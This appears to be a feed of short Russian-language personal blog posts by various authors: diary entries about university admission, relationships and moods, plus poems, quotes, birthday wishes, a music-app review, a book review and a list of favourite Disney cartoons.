мой самый губительный спаситель. как же я по тебе скучаю.

без инта стало скучно.

Записывать каждый день в стихотворной форме фразочки, что приходят на ум посреди дня, придумывать крутые идеи, но так и не написать ни одного стихотворения до конца. WTF!!!!!!!!!!!!!!!!
Начала одно
начала второе
начала третье
везде хромает рифма и слова (но, о боже, какая тема)

и мне не дается закончить
постоянно вношу что-то новое, по слову, по предложению в старое и в новое.

когда-то я что-то да закончу

еще я решила, что самое время погрузиться в депрессию. что мне мешает? ничего. кого-то с настоящей депрессией (у меня-то ничего настоящего нет) может это задеть, но моя всегда такая - зреет где-то на задворках пока я не позволяю ей выйти. главное вылезти до сентября, а то я опять проебусь с учебой и буду выглядеть как побитая собака

Туберкулёзный диспансер пройден. Правда у меня до сих пор болит палец, так как девушка которая брала у меня кровь очень сильно его сжимала и в конце он аж посинел. Кроме этого нам пришлось ехать в частную клинику и делать флюру там, потому что в самом диспансере сломался ренген. Осталось завтра забрать сертификат. В итоге сегодня мы отдали 1395 рублей (995 в диспансере и 400 за флюру). И люди, пожалуйста, будьте добрее и не делайте вид, будто я д*рьмом измазана, при виде иностранного паспорта. Это очень неприятно.

не зря мне почти всегда нравились девушки без макияжа: живые, теплокровные, умеющие краснеть и выражать эмоции. вместе с восхищением испытываю почти мучительную зависть - они излучают тепло, а что я? зарыта под слоем пудры, туши, линера, карандаша, без которых - ничто. не меняющееся лицо. манекен, как внутри, так и снаружи. может поэтому мне нравятся гарбо, келли, денев; потому что они выглядят так, будто собрались по шарнирам где-то в темном уединенном углу и вышли в мир страдать. а хепберн, монро, тэйлор - это не то, тут слишком много жизни.

Мои планы на будущее:

Я получаю медаль в школе потому что загасил огонь. Может это именно то, кем я должен быть в будущем: профессиональным получателем медалей.

Об этом никогда не писала и даже не произносила вслух, но ты - первый человек, которого я пустила в свою семью. Впервые в жизни я познакомила кого-то с папой и мамой лично. Впервые в жизни мама посмотрела на меня удивлёнными глазами и спросила "знакомить?нас?со своим молодым человеком?". Да, именно так. Я никогда никого не подпускала к себе так близко. А сейчас, когда я подхожу к твоему гаражу и вижу там тебя и моего любимого мужчину на свете, то есть папу, вижу как вы вместе делаете машину, разговариваете о чём-то, как он звонит тебе и договаривается куда-то подъехать, я понимаю, что ты уже явно не "просто так". Ты никогда и не был "просто так", но, чёрт возьми, сейчас ты - часть меня и моего мира. Это очень многое для меня значит. Я очень долго ждала такой жизни и сейчас, когда она у меня есть, я говорю огромное спасибо. Спасибо за тебя.

ты идеальная, а она… пришла и в сердце моем застыла,
непостоянная, как весна, стоящая на краю обрыва,
посуда бьется в ее руках, чай получается слишком сладким,
ты идеальная, а она… она ребенок, игравший в прятки

и заблудившийся навсегда. она нашла во мне утешенье.
твоих глаз чистая синева, её - черничное прегрешенье.
с тобой так просто идти вперед, с ней - дай бог шагу назад не сделать.
но я, прости, полюбил её. она тебе уступает телом,

талантом, даже, поверь, умом. ты идеальная, повторяюсь.
но сердце мне твердит об одном - и я пришел, и я горько каюсь.
ты идеальная, а она… грустит и топит в вине обиды,
я достаю с ней ногами дна, его в твоих небесах не видно.

ты ангел, я же приговорен, к жестокой и неизбежной смерти.
за первый взгляд в сторону нее, за все мои "лучшая на свете".
но что мне ставить тебе в упрек? ты смотришь с болью - каков злодей…
я не могу преступить порог.
прошу, дай повод
остаться с ней…

Давно не писала. Постепенно перешла на другой блог - там удобнее. Да и здесь, думаю, нет таких людей, которые бы скучали по моим постам. Если вы есть - дайте знать :)

Что-то, несмотря на то, что это лето, как, впрочем, и прошлое, не отличается каким-то нереальным весельем, на мою головушку высыпалось очень много событий, мыслей, фактов. Например, девушка одного моего очень хорошего знакомого и, по совместительству, друга В. на полном серьезе ревнует его ко мне. Щито? Ко мне? Да моя самооценка итак страдалица, ну как, как я могу закадрить чужого мужика? А еще я впервые каталась на мотоцикле (собственно, с этим же знакомым). Так у меня потом такая сумасшедшая улыбка была. И ноги дрожали. И всплеск адреналина. А мой В. все в шутку злился, мол, ему моцик покупать не разрешаю, а сама так пищу от восторга. Я впервые почувствовала воду, находилась в ней совершенно одна, ни за кого не хватаясь. Я впервые курила. Я впервые держала за руку кого-то, кроме В. Мне впервые парень признался в том, что со всеми девушками он вел себя уверенно, нагло даже, и только со мной - робкие прикосновения, трогательная нежность и никаких пошлых мыслей, только романтика. И я, зная, какой он бабник, правда верю ему. Он говорил это не для того, чтобы меня заарканить, а просто был искренним. Это лето очень меня изменило…

Все это так неожиданно, все это так несвойственно мне, что я все еще пребываю в неком ступоре. Дико хочется сохранить все эти воспоминания, не дать ускользнуть ни малейшему событию, перевернувшему мой мир.

Я здесь первый день.Попробую вести здесь вести вой блог-нытье. Вообще я записывала свои мысли и то что происходит со мной на тейсти, но сличилась ситуация из-за которой я разбила свой смартфон и теперь не могу заходить на тейсти через обычный телефон.А мне просто необходимо писать свои мысли, эмоции, да и вообще все что происходит со мной. И именно по этой причине я здесь.

x

Дорогая Наташа, поздравляю тебя с твоим днём рождения ^-^
Желаю тебе счастья, здоровья и огрооомной такой любви со своим молодым человеком. Больше якрих и радостных моментов в твоей жизни, больше улыбок и больше веселья. Оставайся всегда такой же красивой, радуй нас своими постами, и удачи тебе во всех начинаниях ♥

Завтра иду в кино со своим бывшим (боже, как ужасно звучит это слово 'бывший'). А я всё так и не знаю для чего я это делаю. Вообще, люблю я мальчиков за то, что они любят ходить в кино. И брать с собой девочек. И немного о том, что не дает мне ресурсного состояния. А точнее, о подругах, которые не могут решить чего же они хотят от своих мужчин. Я, как человек, который нуждается в ком-то рядом, и у которого никого нет, само собой, после таких рассказов начинаю раздражаться. Считаю, что, если есть кого любить, и есть кому отдавать свою заботу и внимание, то надо просто это делать.

Перечитала свой дневник здесь - разочаровалась в себе. Нытьё на нытье и нытьём погоняет. Надеюсь, я изменилась хоть чуть-чуть :D

Оказывается, поводов радостно скакать по квартире может быть даже больше одного в день. Мне удалось оформить пропуск. А это значит, что возможность куда-то вырваться из этого уныния стала на шаг ближе к реальности.

Вот жалею, что пост в ВК только 10 фоток может вместить: (Так хочется показать все. Ну хоть здесь, можно это сделать :) Кстати! Видео влог об этой свадебке можно посмотреть здесь https://www.youtube.com/watch?v=ekkZbMl4RU8 :)

Мой позвонил в 5, сказал, что он опоздает и мы с ним встречаемся на Сходке в центре зала.
Он ездил с другом в Красик на плотину купаться, ибо у А. др. Короче они там с тарзанки прыгали и один из их друзей попал ногой в ил и чем-то её разрезал… аж сухожилие тоже…

и мой мозг, сначала не совсем одупливший выдал мне типа 404 not found, а потом до него дошло и я как

Короче говоря- нехрен прыгать с этих тарзанок. Чёрт его знает что на дне может оказаться…

А вдруг труп с:

месяц самобичевания и открытия в себе хуиспособностей, по типу запечатления плевка в потолок на камеру

Яна, с днем рождения! мира тебе и благополучия :)

Настроения вообще нет.. Не хочу ни с кем разговаривать, нет вдохновения писать.. Позвонил папенька:

-Привет. Я в магазине. Может, что купить? Коктейль?, - папенька осведомлён о присходящем, об очередном "что происходит?".

На даче меня переполняло счастье, в городе же пожирает навалившаяся боль.

Phoebe Tonkin for Free People

шикарная:*

Я долго собиралась с мыслями, чтобы написать этот пост. Та-даа, я поборола свою лень и готова действовать!
О чем пост? О моем поступлении в, черт бы его побрал, университет.
Господи, я поступила. Я поступила туда, куда хотела, куда стремилась, куда мечтала попасть.
МГЛУ, встречай свою новую студентку. Вообще-то приказ вышел еще 4 августа, но я была слишком взбудоражена, чтобы взять себя в руки и написать эту заметку.
Из всех 5 университетов я выбрала МГЛУ для отдачи оригинала аттестата, но долго колебалась с выбором специальности. Документы я отдала на социологию, юриспруденцию и рекламу и связи с общественностью.
Одно время меня тянуло на юриспруденцию (особенно после того, как я случайно на улице познакомилась с известнейшим правозащитником из Москвы, который не проиграл ни одного дела из 3000), потом я склонялась к рекламе, так как это, вроде бы, наиболее широкая специальность.
Но изначально (то бишь последние полтора года) я готовилась к социологии. Загвоздка была одна: математика, которая на этой специальности рассматривалась в качестве одного из предметов для сдачи.
Я честно и старательно готовилась, вложила уйму сил, но гуманитарий я, гу-ма-ни-та-рий !
Если честно, узнав свои баллы по математике за ЕГЭ, я действительно попрощалась с данной специальностью и готовилась к другому выбору.
По счастливой случайности я все же решила сдать в качестве ЕГЭ английский, хотя даже не готовилась к нему, обошлась без репетиторов, а за год вообще не проделала ни одной экзаменационной работы. Но за это нужно поблагодарить моих родителей, которые сказали "сдавай англ, не зря же ты его учила с детсада!!".
В итоге английский был сдан в два раза лучше, чем математика.. И даже лучше, чем у тех, кто занимался с репетиторами весь год.
Нет, простите, я не слишком самовлюбленная, НО Я ТАК БЫЛА РАДА ЗА СЕБЯ!
И я отошла от главной темы..
В общем, в конце июля я сдала вступительные экзамены по обществознанию в МГЛУ, после этого впала в истерику, так как была на 100 процентов уверена в провале, а потом узнала, что сдала-то я очень даже хорошо (как это похоже на меня: быть уверенной в своем провале).
Через пару дней мне позвонил декан моего факультета (социологии точнее) и начал зазывать меня на данную специальность. Я что-то до безумия растерялась, на след.день поехала и написала заявление на социологию.
На этом факультете рассматривали 4 предмета: русский; английский; математику; обществознание. Вы представляете, я столько переживала и плакала из-за ДВИ по общаге, а его даже не приняли в счет на социологии! Обидненько немного.
Дальше недели две (я на время конкурса просто выпала из временного промежутка) я мучалась, грызла ногти от волнения (не в прямом смысле) и ждала результатов поступления в МГЛУ.
В итоге, 4 августа под самый вечер (да, мой универ явно любит помучить абитуриентов) я таки увидела приказ о зачислении, а в нем свою заветную фамилию.
Ребята, не передать мои эмоции в тот момент.
Я просто находилась в истерике, у меня слезы моментально брызнули из глаз каким-то водопадом. До сих пор не могу поверить, что все то, что я делала последние полтора года, все мои старания и мечты подошли к радостному заключению. Сколько нервов было потрачено, сколько здоровья я угрохала на это, и все закончилось.
Безумно приятен тот факт, что я поступила на бюджет не в абы какой университет, честно.
Я сейчас благодарна всем моим близким (в особенности, конечно, родителям), репетиторам. И за помощь, и за поддержку, и за советы, без которых я не смогла бы пережить нормально последние месяцы.
Я до сих пор пребываю в какой-то прострации. У меня такое часто бывает, когда достигаю какой-то заветной цели.
А сейчас.. С одной стороны, безусловно, я рада до небес!
А с другой стороны, у меня какое-то опустошение в душе. Я запрыгнула на ту ступенечку, к котором так стремилась, а теперь не знаю, как двигаться и забираться дальше..
Всем пис, всех крепко-крепко обнимаю!

А человеку нужен крепкий чай…
А не меха, какие подороже.
И просто слышать: — Как же я скучал!
И улыбаться: — Я скучала тоже…
А человеку нужен дом и сад,
И два окна, и старенькие двери.
И просто слышать: — Как тебе я рад!
И отвечать: — Ах, как тебе я верю!
Нужна заря… И в окна тихий стук.
И верный пес, который скрасит вечер.
И просто слышать: — Что с тобою, Друг?
И отвечать: — Хочу расправить плечи.
Чтоб наши чувства — не свели к нулю,
И, кто далек — стал ближе и роднее.
И просто слышать: — Я тебя люблю.
И отвечать: — А я тебя — сильнее!

Ты жила в тишине и покое.
По старинке желтели обои,
Мелом низкий белел потолок,
И глядело окно на восток.

Зимним утром, лишь солнце всходило,
У тебя уже весело было:
Свет горячий слепит на полу,
Печка жарко пылает в углу.

Книги в шкапе стояли, в порядке
На конторке лежали тетрадки,
На столе сладко пахли цветы…
«Счастье жалкое!» — думала ты.

Бунин, 18.Х.38

И снова я пытаюсь забыться в музыке, играя на гитаре, изрезая пальцы как только возможно.
Я скучал за этим

Привет тем, кто тут, возможно, есть.)
Простите, что не писала.
Милые, прошу промативируйте меня, можно в лс и с руганью. хд
Я просто бессильная тряпка, зато мой мужик любит меня - вот почему я не ХУ ДЕ Ю.

плак

Магия, как и религия, и кухня, является сугубо женским делом.
(с) Исабель Альенде « Дом духов »

Illustrations: (х)

Покупать композиции в Интернете, которые нравятся, чтобы слушать их лицензионно и в отличном качестве - нормальная практика в развитых странах, но среднестатистический юзер в России возмущается и негодует. Хотя я подозреваю, что дело в том, что у этого самого юзера просто нет на карточке лишних сбережений. Тратить 119 рублей, чтобы купить альбом онлайн? Не в этой жизни.

Но у меня ситуация немного другая. Все фирменные кабели от iPod у меня порвались, поэтому я была вынуждена идти на рынок и торговаться за китайский шнур. Пф, всего лишь 150 или 200 рублей, а какой выхлоп! Многие говорят, что у них такие кабели держатся недели по две, а у меня уже 5-й месяц работает. Но с одним маленьким недостатком: к макбуку кабель не подходит, поэтому, к великому моему сожалению, я не могу закачивать музыку через ноутбук на плеер. И вот жилось мне плохо и грустно без обновлений в плеере, спасали только всякие левые программы типа Musify или Music D/L (но медиатека там неприлично маленькая), пока вчера ночью не довелось мне обновить ПО на плеере.

Это счастье!

В самом начале система предлагает выбрать нам стиль музыки и любимых исполнителей. Если нажать на какого-то исполнителя два раза, то это будет значить, что он ну прям самый-самый у вас любимый, и даже фотография в кружке появится. Это так приятно. Выглядит у меня все следующим образом:

Из предпочтений далее нам рекомендуют различные альбомы, композиции, плейлисты. Программа почему-то решила посоветовать мне избранные песни Океан Ельзи. Я что, не знаю их? А вот упоминание о Земфире так улыбнуло.

Все очень круто. Но самое крутое - можно скачать почти все бесплатно! Почему почти все? Потому что при скачивании альбома Fallen у Evanescence столкнулась с тем, что самые хитовые песни - Bring Me to Life, My Immortal, Everybody's Fool - скачать не получается. Они просто не активны. На скриншоте будет видно, что подсветка у этих песен намного тусклее. Причины не знаю и искать не собираюсь, но осмелюсь предположить, что дело как раз-таки в хитовости этих песен, в лейблах и в чьих-то правах.

Еще вспомнила школу и скачала Linkin Park.

Через 3 месяца мой раскайфон закончится и придется снова слушать песни, в которых каждое слово помнишь, где-то даже табы и аккорды. К тому времени, наверное, придется либо продлевать подписку (всего 169 рублей - не дорого, кстати говоря), либо раскошеливаться на фирменный кабель. Побегу опустошать iTunes дальше!

about me + blogroll и всё такое

Немножко пофиксила старую страницу "обо мне" и в ней же блогролл. В инфе сменила "19 лет" на "20" потому что мне скоро именно столько исполнится и "второй курс" на "третий" потому что именно в день моего рождения я пойду именно на этот курс. А в блогролле почистила удаленные блоги и добавила новые. Ссылку на всё указанное выше можно найти у меня в блоге, или кликнув по этой букве х. Ось така х*ня, малята.

Я всегда свято верила, что если я, что-то поменяю в своей внешности, то это поменяет все в моей жизни. И всегда эта чуйка меня не подводила. Будь то это хороший поворот или плохой.
Сегодня не исключение. Я перекрасилась. И черт подери, во мне столько уверенности не было уже давно. Мне очень комфортно.

Счастье, оно в мелочах.

Однажды, я заметила ее в инстаграме. Она красивая, такую вообще сложно не заметить: огромные голубые-голубые глаза, волосы по пояс, умение хорошо держаться, в целом ангелочек, умеющий к тому же офигенно фотографировать. Красивые виды, большое количество угарных друзей, фотки еды - это меня покорило.

Затем я случайно увидела ее в вк. И я была просто громом поражена: "бывают же такие люди, ущипните меня. среди нас живет богиня". Я серьезно. Вот смотришь на человека и чувствуешь прям как от него веет счастьем, нравственностью и богатством. А еще красотой. Космической красотой. По фоткам легко понять, что этот человек ни в чем не нуждается, у него все есть: драгоценности, шикарная одежда, парень, она сама(что не маловажно). Мисс идеал.

И, как часто со мной бывает, заинтересовавшись человеком в сети, я встречаюсь с ним вживую, случайно. Твою дивизию, мне просто нечего сказать. Перфект, Бьютифул, Найс - это не про нее, она в сто раз лучше, а нет, в миллион!

И вот я снова зависла на ее страничке. Ребят, она теперь подрабатывает моделью. Вы серьезно? WTF? Позязя, убейте меня, я слишком несчастна чтобы жить.

Зачем я написала этот супер огромный пост? Потому что эти персоны просто убивают мою мотивацию жить. Когда я вижу таких идеальных людей, у меня начинается паника. Я сравниваю себя и этого человека и, понимаю, что как бы я не старалась, я не приближусь к их нему состоянию даже на сантиметр. Это и заставляет меня опускать руки снова и снова.

В голове крутится одно из пожеланий Лёшки на моё ДР: "Я хочу, чтобы вы всегда были вместе", -…

вчера пошли в Фидель с мальчиком которого я склеила в суши-баре (мальчик официант позвони мне). в итоге мы выпили 0,7 текилы на двоих и шлифанули это все отменным темным пивом. потом мы благополучно потрахались в туалете бара и поехали продолжать домой.

никогда еще мне не говорили, что своими умениями я могла бы зарабатывать дохуя денег. бляяя

gif-[x]

Вот почему блин так, когда тебе нравится человек, ты ему безразлична, зато другой по тебе сохнет, а тебе на него пофигу…и вот что скажете делать? брееед

"Совсем того!"

Жиль Легардинье

– Ну ты совсем того! ©

Это лето для меня богато на хорошие книги. Одна за другой увлекают меня они в свои миры, от которых не хочется отрываться и которым рада моя книжная полка, где обитают только избранные экземпляры. Книга Жиля Легардинье пополнила её, встав на почетное место рядом с королем моего любимого, такого живого, легкого и солнечного юмористического жанра – Вудхаусом.

Главному герою произведения, Эндрю Блейку, за шестьдесят. Он владелец крупной компании и в нем сочетаются все те человеческие качества, которые привлекают нас, читателей – это доброта, ум, чувство юмора и дружелюбие. Эндрю интеллигентен, но весьма бойко отстаивает свою точку зрения, всегда стараясь помочь ближнему. Единственное, что беспокоит нашего героя, так это одиночество. После смерти жены и в связи с не самыми лучшими отношениями с единственной дочерью, он решает немного схитрить и отправиться во Францию, где любила бывать его дорогая супруга Диана. Только едет он туда не просто отдыхать и придаваться воспоминаниям по ушедшим дням, Блейк отправляется туда в весьма странное местечко, поместье Бовилье, где его нанимаю мажордомом, не зная, кто он на самом деле.

«Совсем того!» - это, несомненно, увлекательное произведение, с множеством интересных развязок и событий. В ней много смеха и любви, а главное – жизни. Неподдельной и прекрасной. Рядом с персонажами книги вы поймете, что готовы на подвиги, на которое может подтолкнуть чтение только таких произведений. А от Жиля Легардинье мы определенно ждем новых творений, потому что его книги заставляют любить мир и не бояться что-то менять в своей жизни.

"Каждый в тот или иной момент жизни бывает одинок. Главное — найти дорогу к другим людям, если это возможно…"

— Будь счастлив в этот миг. Этот миг и есть твоя жизнь.
Омар Хайям

Знаете, как это бывает, когда ты поставил перед собой "цель всей жизни" и следуешь ей? Когда все твое свободное время уходит на исполнение призрачной мечты? Когда ты думаешь, что наполняешь свою жизнь смыслом, в то время, как она уходит? Я так счастлива, что избежала этого. Совершенно недавно я действительно думала, что жизнь без мечты абсолютно бессмысленна и неправильна. Я могла ночами думать о том, что теряю время, в пустоту трачу, подаренную мне жизнь! Но я рада, что я ошиблась. Не поймите меня превратно, я не говорю, что нужно бесцельно существовать, просто нужно не забывать жить! Ведь после многих лет, потраченных на "мечту всей жизни", будет просто нечего вспомнить. Сейчас и, надеюсь, в дальнейшем это не изменится, у меня есть всего лишь одна цель: ЖИТЬ! Испытывать весь калейдоскоп эмоций: и плохих, и хороших, путешествовать, ловить моменты, встречать новых людей, узнавать мир и познавать себя! Я хочу, чтобы, сидя старенькой бабушкой в кресле, вяжущей своим внучатам носки и вечно ворчащей на своего любимого мужа, я оглянулась на прожитые годы и сказала, что я жила, использовала каждую секунду, подаренную этим миром! Это действительно то, чего я хочу!

— Когда тонешь, ты стараешься не вдохнуть воду пока не начнешь терять сознание. Называется добровольная апноэ. То есть даже если тебе очень страшно инстинкт не вдыхать воду так силен что ты борешься, пока мозги не закипят от удушья. Но в конце концов ты вдохнешь воду и станет больно. Потом страх исчезнет и наступит покой.

— Давай поговорим о тебе Стайлс.

— Все в порядке. Только бессоница, нервозность, постоянный всепоглащающий страх что случится что-то ужасное.

— Это называется сверхбдительность. Постоянное ощущение угрозы.

— Это не просто ощущение. Это как паническая атака, словно я не могу дышать.

— Словно тонешь?

— Да.

— Но раз ты тонешь ты же помнишь про инстинкт не дающий вдохнуть воду. Постарайся не вдыхать воду как можно дольше.

— Все равно придется. Это рефлекс.

— Но если ты продержишся чуточку дольше у тебя будет больше времени.

— Не так уж много.

— Все равно больше времени чтобы выплыть на поверхность.

— Ну да.

— Или чтобы тебя спасли.

— И больше времени чтобы мучатся от боли, забыли от удушья мозги в голове буквально закипают.

— Разве не стоит потерпеть немного ради того чтобы выжить?

— А если станет хуже? А если будет больно. а потом еще больнее и так будет долго?

— Тогда подумай о словах Уинстона Черчилля «Когда идешь через ад не останавливайся».

«Волчонок» S2, e11

Обожаю этот момент

Свадебный марафон продолжается, одногруппница выходит замуж… За одногруппника ахахаа))) стремительно развивается все))

https://vk.com/hichildren

котаны, хранилище двух блогов совместно с

• https://catherinecat.viewy.ru/
  
  всем кому интересно, вступайте.
  p.s чисто позырить, что из этого получится
  всем добра. <3

Цель жизни — самовыражение. Проявить во всей полноте свою сущность — вот для чего мы живем.

Оскар Уайльд

Все религии духовного характера придуманы человеком. Ничем иным, как своим плотским мозгом, он сотворил целую систему богов. У человека есть эго, его скрытое "я" и, лишь потому, что не в силах смириться с ним, он вынужден обособлять его вне себя в некоем великом спиритуальном создании, именуемым "богом".

Антон Шандор Ла-Вей

Топ 5 любимых мультфильмов

The Lion King

Сюжет: У величественного Короля-Льва Муфасы рождается наследник по имени Симба. Уже в детстве любознательный малыш становится жертвой интриг своего завистливого дяди Шрама, мечтающего о власти. Симба познаёт горе утраты, предательство и изгнание, но в конце концов обретает верных друзей и находит любимую. Закалённый испытаниями, он в нелёгкой борьбе отвоёвывает своё законное место в «Круге жизни», осознав, что значит быть настоящим Королём.

И скрытный он и странный, играет чью-то роль.
Но сердцем я своим почуяла: он истинный король.

The Little Mermaid

Сюжет: Таинственные глубины моря хранят немало тайн, а обитатели океана могут рассказать множество удивительных историй. И самой невероятной из них была и остаётся история русалочки Ариэль. Дочь могущественного царя подводного мира Тритона, она однажды влюбляется в прекрасного и мужественного принца. Но разве они могут быть вместе — земной человек и морская дева? Однако настоящие чувства преодолевают любые преграды. Ради своей любви Ариэль готова пойти на всё. Даже если для обретения своего счастья ей навсегда придётся покинуть родной океан и навеки стать земной девушкой…

— Как мир, в котором созданы такие прекрасные вещи, может быть плох?

Beauty and the Beast

Сюжет: В заколдованном замке, скрытом в темном лесу, живет ужасное Чудовище. Растопить лед в его сердце и вернуть ему человеческий облик, сняв заклятие, может только прекрасная девушка, которая полюбит его таким, какой он есть.

— Как ты её читаешь? Здесь же нет картинок!— У некоторых людей есть воображение.

Bambi

Сюжет: Однажды утром на маленькой, освещенной весенним солнцем, лесной полянке родился олененок. На нового лесного принца сбежались и слетелись посмотреть все звери и птицы. Олененка назвали Бэмби. Когда Бэмби научился ходить и разговаривать он обзавелся друзьями — кроликом Тампером и скунсом Цветочком. А однажды на лугу, куда привела его мама, Бэмби познакомился с маленькой веселой оленихой — Фэйлин. Но жизнь в лесу бывает опасной и жестокой. Впервые Бэмби столкнулся с этим, когда прозрачный осенний лесной воздух пронзили выстрелы из ружья — все звери начали в панике убегать, и тогда Бэмби впервые услышал страшное слово — Человек.

Если не можешь сказать ничего хорошего, то лучше промолчи.

Mulan

Сюжет: Для великого народа наступили тяжелые времена: на страну напало воинственное племя гуннов. Переодевшись в мужскую одежду, Мулан присоединяется к другим воинам и отправляется в опасный поход к подножию заснеженных гор. Ее сопровождает забавный дракончик Мушу, который больше похож на маленькую собачку, чем на мифическое чудовище. Пытаясь скрыть тайну, они попадают в забавные ситуации и не подозревают, что их секрет вот — вот раскроется!

—Я собираюсь ударить тебя так сильно, что у твоих предков закружится голова.

"Крис простит Тао. Обязательно простит.

На самом деле, он понимал, почему Тао сходил с ума и знал, что всё, что он говорит - это лишь эмоции и обида. Я не думаю, что Крис действительно принял эти слова близко к сердцу. Крис умный.

Как только Тао что-то выкладывал, он успокаивался. И, вероятно, вскоре жалел о том, что сделал.

Тао никогда не переставал любить Криса. Никогда. Возможно, слова Тао заставили Криса слегка опешить. Но он всегда знал, что он его любит.

У Криса большое сердце. Я знаю, что он простит его. Я знаю." (с) tumblr

(ваааа *_* хоть бы так)

Вернулись ночные кошмары, галлюцинации..страх измены, который я на некотрое время переосилила.. Сегодня проснулась в истерике.. Я так надеялась, что всё, с чем я боролась- можно забыть..

дотянуть до августа, доползти, не свалиться замертво в коридоре,
чтоб песок горячий сжимать в горсти, заходить по пояс в ночное море,
и под утро сонно встречать рассвет на песком засыпанном одеяле,
изгонять, накопленный зА год, бред, нервный тик, уныние и усталость.

Читаю все эти "10 правильных советов как любить мужчин". Мне кажется, что не один совет не поможет с мужчиной, ты просто любишь его по своему, за то что он есть, за любую мелочь, за все. Никаких правил и советов нет в отношениях)

Знаешь, никто тебя не спасет.запомни это и иди с этим вперед.хватить печалиться о прошлом:его больше нет.есть только ты и твоя жизнь. ты сама в силе все исправить. Перестань слушать грустные песни, которые напоминают его;перестань ходить вашими местами, перестань смотреть ваш фильм. пора признать что его нет в твоей жизни, но в ней осталась ты! Люби себя, не дай себ увянуть, займись спортом/його/бегом;совершенствуй себя, люби окружающих и пожалуйста, прости его.